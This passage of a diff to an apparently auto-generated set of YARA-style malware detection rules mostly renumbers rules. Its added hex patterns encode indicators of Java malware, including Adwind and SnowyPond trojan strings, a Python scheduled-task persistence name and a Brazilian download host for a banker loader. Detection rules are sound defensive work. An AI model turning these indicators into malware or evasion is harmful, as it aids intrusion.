b8 b8 53 59 04 12 b8 b8 53 59 05 12 b8 b8 53 59 06 12 b8 b8 53 b3 12 b8 b8 b3 03 b3 b1 00 00 bf 7a 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 54 72 } //26990 condition: ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28531+(#a_31_2 & 1)*12594+(#a_61_3 & 1)*25970+(#a_5a_4 & 1)*26990) >=4 } -rule _InfrastructureShared_25735{ +rule _InfrastructureShared_27049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337064,7 +353903,7 @@ rule _InfrastructureShared_25735{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25736{ +rule _InfrastructureShared_27050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337074,18 +353913,31 @@ rule _InfrastructureShared_25736{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25737{ +rule _InfrastructureShared_27051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 02 00 21 " strings : $a_54_0 = {3a 4a 61 76 61 2f 49 6e 69 74 5a 00 01 00 37 01 bd 59 03 12 b8 b8 53 59 04 12 b8 b8 53 59 05 12 b8 b8 53 59 06 12 b8 b8 53 59 07 12 b8 b8 53 59 08 12 b8 b8 53 59 10 12 b8 b8 53 59 10 12 b8 b8 53 59 10 12 b8 b8 53 01 00 21 01 bd 59 03 12 b8 b8 53 59 } //18467 - $a_b8_1 = {59 05 12 b8 b8 53 59 06 12 b8 b8 53 b3 12 b8 b8 b3 03 b3 b1 00 00 bf 7a 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 4a 61 76 61 2f 41 64 77 69 6e 64 21 6d 61 69 6e 00 01 00 09 01 44 65 63 72 79 70 74 65 72 01 00 0b 01 45 6e 74 72 79 46 69 6c 6c 65 72 01 00 0b 01 2f 66 69 6c 65 2f 46 69 6c 65 73 01 00 07 01 63 66 67 4e 61 6d 65 01 00 09 01 6a 75 6e 6b 43 6f 64 65 31 01 00 0a 01 53 6f 75 72 63 65 46 69 6c 65 01 00 05 01 62 6c 61 63 6b 00 00 bf 7b 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 4a 76 42 61 6e 6c 6f 61 64 2e 54 31 00 04 00 2b 01 2f 62 } //4612 + $a_b8_1 = {59 05 12 b8 b8 53 59 06 12 b8 b8 53 b3 12 b8 b8 b3 03 b3 b1 00 00 bf 7a 00 00 03 00 03 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4a 61 76 61 2f 53 6e 6f 77 79 50 6f 6e 64 2e 41 21 64 68 61 00 01 00 10 01 48 6f 75 72 6c 79 50 79 74 68 6f 6e 54 61 73 6b 01 00 0b 01 70 79 74 68 6f 6e 77 2e 65 78 65 01 00 06 01 63 31 2e 70 79 77 01 00 1f 01 45 72 72 6f 72 20 77 68 69 6c 65 20 63 72 65 61 74 69 6e 67 20 74 68 65 20 74 61 73 6b 3a 20 00 00 bf 7a 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 4a 61 76 61 2f 41 64 77 69 6e 64 21 6d 61 69 6e 00 01 00 } //4612 condition: ((#a_54_0 & 1)*18467+(#a_b8_1 & 1)*4612) >=1 } -rule _InfrastructureShared_25738{ +rule _InfrastructureShared_27052{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4a 61 76 61 2f 53 6e 6f 77 79 50 6f 6e 64 2e 41 21 64 68 61 00 01 00 10 01 48 6f 75 72 6c 79 50 79 74 68 6f 6e 54 61 73 6b 01 00 0b 01 70 79 74 68 6f 6e 77 2e 65 78 65 01 00 06 01 63 31 2e 70 79 77 01 00 1f } //16675 + $a_72_1 = {72 20 77 68 69 6c 65 20 63 72 65 61 74 69 6e 67 20 74 68 65 20 74 61 73 6b 3a 20 00 00 bf 7a 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 4a 61 76 61 2f 41 64 77 69 6e 64 21 6d 61 69 6e 00 01 00 09 01 44 65 63 72 79 70 74 65 72 01 00 0b 01 45 6e 74 72 79 46 69 6c 6c 65 72 01 00 0b 01 2f 66 69 6c 65 2f 46 69 6c 65 73 01 00 07 01 63 66 67 4e } //17665 + $a_01_2 = {00 09 01 6a 75 6e 6b 43 6f 64 65 31 01 00 0a 01 53 6f 75 72 63 65 46 69 6c 65 01 00 05 01 62 6c 61 63 6b 00 00 bf 7b 00 00 05 00 05 00 04 00 21 23 48 53 54 52 3a 4a 76 42 61 6e 6c 6f 61 64 2e 54 31 00 04 00 2b 01 2f 62 72 66 6c 69 78 72 6f 75 70 61 73 6d 6f 64 61 73 2e 63 6f 6d 2e 62 72 2f 72 6f 75 70 } //28001 + $a_61_3 = {63 75 6c 69 6e 61 73 2f 01 00 0d 01 2f 61 6c 65 61 74 6f 72 79 2e 67 69 66 01 00 0a 01 2f 65 6c 6c 75 73 2e 67 69 66 01 00 0d 01 2f 70 6f 6c 6f 63 6c 75 62 2e 67 69 66 00 00 bf 7c 00 00 01 00 01 00 01 00 21 23 45 78 70 6c 6f 69 74 3a 4a 61 76 61 2f 50 72 65 76 61 6c 65 6e 74 50 61 74 74 65 72 6e 00 01 00 50 01 31 39 31 39 30 } //29537 + condition: + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*17665+(#a_01_2 & 1)*28001+(#a_61_3 & 1)*29537) >=3 + +} +rule _InfrastructureShared_27053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,06 00 06 00 07 00 21 " @@ -337101,7 +353953,7 @@ rule _InfrastructureShared_25738{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*12645+(#a_75_2 & 1)*21249+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_7c_5 & 1)*0+(#a_42_6 & 1)*14645) >=6 } -rule _InfrastructureShared_25739{ +rule _InfrastructureShared_27054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,05 00 05 00 04 00 21 " @@ -337114,7 +353966,7 @@ rule _InfrastructureShared_25739{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*27749+(#a_35_2 & 1)*13619+(#a_6f_3 & 1)*28792) >=5 } -rule _InfrastructureShared_25740{ +rule _InfrastructureShared_27055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337124,7 +353976,7 @@ rule _InfrastructureShared_25740{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25741{ +rule _InfrastructureShared_27056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337134,7 +353986,7 @@ rule _InfrastructureShared_25741{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25742{ +rule _InfrastructureShared_27057{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337144,7 +353996,7 @@ rule _InfrastructureShared_25742{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25743{ +rule _InfrastructureShared_27058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337154,7 +354006,7 @@ rule _InfrastructureShared_25743{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25744{ +rule _InfrastructureShared_27059{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337164,7 +354016,7 @@ rule _InfrastructureShared_25744{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25745{ +rule _InfrastructureShared_27060{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,07 00 07 00 07 00 21 " @@ -337180,7 +354032,7 @@ rule _InfrastructureShared_25745{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24933+(#a_68_2 & 1)*29797+(#a_72_3 & 1)*-32761+(#a_36_4 & 1)*30766+(#a_33_5 & 1)*12356+(#a_42_6 & 1)*12599) >=7 } -rule _InfrastructureShared_25746{ +rule _InfrastructureShared_27061{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 04 00 21 " @@ -337193,7 +354045,7 @@ rule _InfrastructureShared_25746{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*31088+(#a_32_2 & 1)*13890+(#a_72_3 & 1)*29812) >=3 } -rule _InfrastructureShared_25747{ +rule _InfrastructureShared_27062{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337203,7 +354055,7 @@ rule _InfrastructureShared_25747{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25748{ +rule _InfrastructureShared_27063{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337213,7 +354065,7 @@ rule _InfrastructureShared_25748{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25749{ +rule _InfrastructureShared_27064{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337223,7 +354075,7 @@ rule _InfrastructureShared_25749{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25750{ +rule _InfrastructureShared_27065{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337233,7 +354085,7 @@ rule _InfrastructureShared_25750{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25751{ +rule _InfrastructureShared_27066{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337243,7 +354095,7 @@ rule _InfrastructureShared_25751{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25752{ +rule _InfrastructureShared_27067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337253,7 +354105,7 @@ rule _InfrastructureShared_25752{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25753{ +rule _InfrastructureShared_27068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337263,7 +354115,7 @@ rule _InfrastructureShared_25753{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25754{ +rule _InfrastructureShared_27069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,05 00 05 00 05 00 21 " @@ -337277,7 +354129,7 @@ rule _InfrastructureShared_25754{ ((#a_4c_0 & 1)*21539+(#a_49_1 & 1)*385+(#a_2f_2 & 1)*30305+(#a_42_3 & 1)*12598+(#a_00_4 & 1)*29285) >=5 } -rule _InfrastructureShared_25755{ +rule _InfrastructureShared_27070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337287,7 +354139,7 @@ rule _InfrastructureShared_25755{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25756{ +rule _InfrastructureShared_27071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337297,7 +354149,7 @@ rule _InfrastructureShared_25756{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25757{ +rule _InfrastructureShared_27072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 03 00 21 " @@ -337309,7 +354161,7 @@ rule _InfrastructureShared_25757{ ((#a_46_0 & 1)*21283+(#a_6e_1 & 1)*29554+(#a_72_2 & 1)*30575) >=3 } -rule _InfrastructureShared_25758{ +rule _InfrastructureShared_27073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,0b 00 0b 00 06 00 21 " @@ -337322,7 +354174,7 @@ rule _InfrastructureShared_25758{ ((#a_46_0 & 1)*16675+(#a_2f_1 & 1)*14960+(#a_45_4 & 1)*8448+(#a_42_5 & 1)*12611) >=11 } -rule _InfrastructureShared_25759{ +rule _InfrastructureShared_27074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337332,7 +354184,7 @@ rule _InfrastructureShared_25759{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25760{ +rule _InfrastructureShared_27075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 03 00 21 " @@ -337344,7 +354196,7 @@ rule _InfrastructureShared_25760{ ((#a_77_0 & 1)*19491+(#a_73_1 & 1)*25955+(#a_39_2 & 1)*14146) >=3 } -rule _InfrastructureShared_25761{ +rule _InfrastructureShared_27076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337354,7 +354206,7 @@ rule _InfrastructureShared_25761{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25762{ +rule _InfrastructureShared_27077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -337365,7 +354217,7 @@ rule _InfrastructureShared_25762{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*6411) >=2 } -rule _InfrastructureShared_25763{ +rule _InfrastructureShared_27078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 04 00 21 " @@ -337377,7 +354229,7 @@ rule _InfrastructureShared_25763{ ((#a_54_0 & 1)*18467+(#a_48_2 & 1)*29696+(#a_42_3 & 1)*14645) >=3 } -rule _InfrastructureShared_25764{ +rule _InfrastructureShared_27079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337387,7 +354239,7 @@ rule _InfrastructureShared_25764{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25765{ +rule _InfrastructureShared_27080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337397,7 +354249,7 @@ rule _InfrastructureShared_25765{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25766{ +rule _InfrastructureShared_27081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337407,7 +354259,7 @@ rule _InfrastructureShared_25766{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25767{ +rule _InfrastructureShared_27082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337417,7 +354269,7 @@ rule _InfrastructureShared_25767{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25768{ +rule _InfrastructureShared_27083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337427,7 +354279,7 @@ rule _InfrastructureShared_25768{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25769{ +rule _InfrastructureShared_27084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 03 00 21 " @@ -337439,7 +354291,7 @@ rule _InfrastructureShared_25769{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*4278+(#a_59_2 & 1)*22367) >=2 } -rule _InfrastructureShared_25770{ +rule _InfrastructureShared_27085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 03 00 21 " @@ -337451,7 +354303,7 @@ rule _InfrastructureShared_25770{ ((#a_4c_0 & 1)*21539+(#a_1c_1 & 1)*6459+(#a_02_2 & 1)*-255) >=3 } -rule _InfrastructureShared_25771{ +rule _InfrastructureShared_27086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337461,7 +354313,7 @@ rule _InfrastructureShared_25771{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25772{ +rule _InfrastructureShared_27087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337471,7 +354323,7 @@ rule _InfrastructureShared_25772{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25773{ +rule _InfrastructureShared_27088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337481,7 +354333,7 @@ rule _InfrastructureShared_25773{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25774{ +rule _InfrastructureShared_27089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 02 00 21 " @@ -337492,7 +354344,7 @@ rule _InfrastructureShared_25774{ ((#a_72_0 & 1)*22051+(#a_2a_1 & 1)*5632) >=1 } -rule _InfrastructureShared_25775{ +rule _InfrastructureShared_27090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -337502,7 +354354,7 @@ rule _InfrastructureShared_25775{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_25776{ +rule _InfrastructureShared_27091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,06 00 06 00 06 00 21 " @@ -337517,7 +354369,7 @@ rule _InfrastructureShared_25776{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*25445+(#a_00_2 & 1)*3072+(#a_41_3 & 1)*13634+(#a_42_4 & 1)*16952+(#a_65_5 & 1)*26950) >=6 } -rule _InfrastructureShared_25777{ +rule _InfrastructureShared_27092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,02 00 02 00 02 00 21 " @@ -337528,7 +354380,7 @@ rule _InfrastructureShared_25777{ ((#a_4c_0 & 1)*21539+(#a_b6_1 & 1)*4352) >=2 } -rule _InfrastructureShared_25778{ +rule _InfrastructureShared_27093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337538,7 +354390,7 @@ rule _InfrastructureShared_25778{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25779{ +rule _InfrastructureShared_27094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 04 00 21 " @@ -337549,7 +354401,7 @@ rule _InfrastructureShared_25779{ ((#a_54_0 & 1)*18467+(#a_b6_2 & 1)*182) >=3 } -rule _InfrastructureShared_25780{ +rule _InfrastructureShared_27095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 02 00 21 " @@ -337559,7 +354411,7 @@ rule _InfrastructureShared_25780{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25781{ +rule _InfrastructureShared_27096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337569,7 +354421,7 @@ rule _InfrastructureShared_25781{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25782{ +rule _InfrastructureShared_27097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337579,7 +354431,7 @@ rule _InfrastructureShared_25782{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25783{ +rule _InfrastructureShared_27098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337589,7 +354441,7 @@ rule _InfrastructureShared_25783{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25784{ +rule _InfrastructureShared_27099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,16 00 16 00 05 00 21 " @@ -337603,7 +354455,7 @@ rule _InfrastructureShared_25784{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29487+(#a_00_2 & 1)*29285+(#a_44_3 & 1)*12592+(#a_59_4 & 1)*15363) >=22 } -rule _InfrastructureShared_25785{ +rule _InfrastructureShared_27100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337613,7 +354465,7 @@ rule _InfrastructureShared_25785{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25786{ +rule _InfrastructureShared_27101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 02 00 21 " @@ -337624,7 +354476,7 @@ rule _InfrastructureShared_25786{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*1) >=1 } -rule _InfrastructureShared_25787{ +rule _InfrastructureShared_27102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 04 00 21 " @@ -337636,7 +354488,7 @@ rule _InfrastructureShared_25787{ ((#a_54_0 & 1)*18467+(#a_03_2 & 1)*-18638+(#a_74_3 & 1)*28524) >=3 } -rule _InfrastructureShared_25788{ +rule _InfrastructureShared_27103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337646,7 +354498,7 @@ rule _InfrastructureShared_25788{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25789{ +rule _InfrastructureShared_27104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337656,7 +354508,7 @@ rule _InfrastructureShared_25789{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25790{ +rule _InfrastructureShared_27105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 03 00 21 " @@ -337667,7 +354519,7 @@ rule _InfrastructureShared_25790{ ((#a_54_0 & 1)*18467+(#a_1b_1 & 1)*-28030) >=1 } -rule _InfrastructureShared_25791{ +rule _InfrastructureShared_27106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,08 00 08 00 06 00 21 " @@ -337681,7 +354533,7 @@ rule _InfrastructureShared_25791{ ((#a_54_0 & 1)*18467+(#a_b8_2 & 1)*19640+(#a_61_3 & 1)*26977+(#a_65_4 & 1)*29793+(#a_34_5 & 1)*14641) >=8 } -rule _InfrastructureShared_25792{ +rule _InfrastructureShared_27107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,04 00 04 00 09 00 21 " @@ -337699,7 +354551,7 @@ rule _InfrastructureShared_25792{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*17007+(#a_78_2 & 1)*8993+(#a_30_3 & 1)*12851+(#a_34_4 & 1)*14641+(#a_2d_5 & 1)*22083+(#a_b6_6 & 1)*10810+(#a_30_7 & 1)*12345+(#a_35_8 & 1)*16948) >=4 } -rule _InfrastructureShared_25793{ +rule _InfrastructureShared_27108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337709,7 +354561,7 @@ rule _InfrastructureShared_25793{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25794{ +rule _InfrastructureShared_27109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -337724,7 +354576,7 @@ rule _InfrastructureShared_25794{ ((#a_54_0 & 1)*18467+(#a_c0_1 & 1)*6912+(#a_90_2 & 1)*15040+(#a_42_3 & 1)*12609+(#a_31_4 & 1)*12609+(#a_53_5 & 1)*27491) >=13 } -rule _InfrastructureShared_25795{ +rule _InfrastructureShared_27110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337734,7 +354586,7 @@ rule _InfrastructureShared_25795{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25796{ +rule _InfrastructureShared_27111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,03 00 03 00 03 00 21 " @@ -337746,7 +354598,7 @@ rule _InfrastructureShared_25796{ ((#a_41_0 & 1)*20515+(#a_2b_1 & 1)*31236+(#a_00_2 & 1)*-16640) >=3 } -rule _InfrastructureShared_25797{ +rule _InfrastructureShared_27112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,22 00 22 00 0a 00 21 " @@ -337762,7 +354614,7 @@ rule _InfrastructureShared_25797{ ((#a_54_0 & 1)*18467+(#a_4f_1 & 1)*27753+(#a_48_4 & 1)*8448+(#a_02_6 & 1)*112+(#a_80_7 & 1)*1+(#a_d6_8 & 1)*0+(#a_41_9 & 1)*12355) >=34 } -rule _InfrastructureShared_25798{ +rule _InfrastructureShared_27113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,05 00 05 00 07 00 21 " @@ -337777,7 +354629,7 @@ rule _InfrastructureShared_25798{ ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*12287+(#a_00_3 & 1)*1+(#a_45_4 & 1)*8448+(#a_30_5 & 1)*13636+(#a_31_6 & 1)*13110) >=5 } -rule _InfrastructureShared_25799{ +rule _InfrastructureShared_27114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337787,7 +354639,7 @@ rule _InfrastructureShared_25799{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25800{ +rule _InfrastructureShared_27115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,1e 00 1e 00 0b 00 21 " @@ -337805,7 +354657,7 @@ rule _InfrastructureShared_25800{ ((#a_54_0 & 1)*18467+(#a_6a_1 & 1)*4096+(#a_61_2 & 1)*12129+(#a_00_5 & 1)*1+(#a_45_6 & 1)*8448+(#a_43_7 & 1)*17204+(#a_33_8 & 1)*13104+(#a_30_9 & 1)*12340+(#a_31_10 & 1)*17203) >=30 } -rule _InfrastructureShared_25801{ +rule _InfrastructureShared_27116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337815,7 +354667,7 @@ rule _InfrastructureShared_25801{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25802{ +rule _InfrastructureShared_27117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337825,7 +354677,7 @@ rule _InfrastructureShared_25802{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25803{ +rule _InfrastructureShared_27118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337835,7 +354687,7 @@ rule _InfrastructureShared_25803{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25804{ +rule _InfrastructureShared_27119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,05 00 05 00 06 00 21 " @@ -337850,7 +354702,7 @@ rule _InfrastructureShared_25804{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*268+(#a_68_2 & 1)*12133+(#a_35_3 & 1)*13618+(#a_35_4 & 1)*13618+(#a_35_5 & 1)*13618) >=5 } -rule _InfrastructureShared_25805{ +rule _InfrastructureShared_27120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337860,7 +354712,7 @@ rule _InfrastructureShared_25805{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25806{ +rule _InfrastructureShared_27121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337870,7 +354722,7 @@ rule _InfrastructureShared_25806{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25807{ +rule _InfrastructureShared_27122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337880,7 +354732,7 @@ rule _InfrastructureShared_25807{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25808{ +rule _InfrastructureShared_27123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337890,7 +354742,7 @@ rule _InfrastructureShared_25808{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25809{ +rule _InfrastructureShared_27124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -337900,7 +354752,7 @@ rule _InfrastructureShared_25809{ ((#a_70_0 & 1)*17699) >=1 } -rule _InfrastructureShared_25810{ +rule _InfrastructureShared_27125{ meta: description = 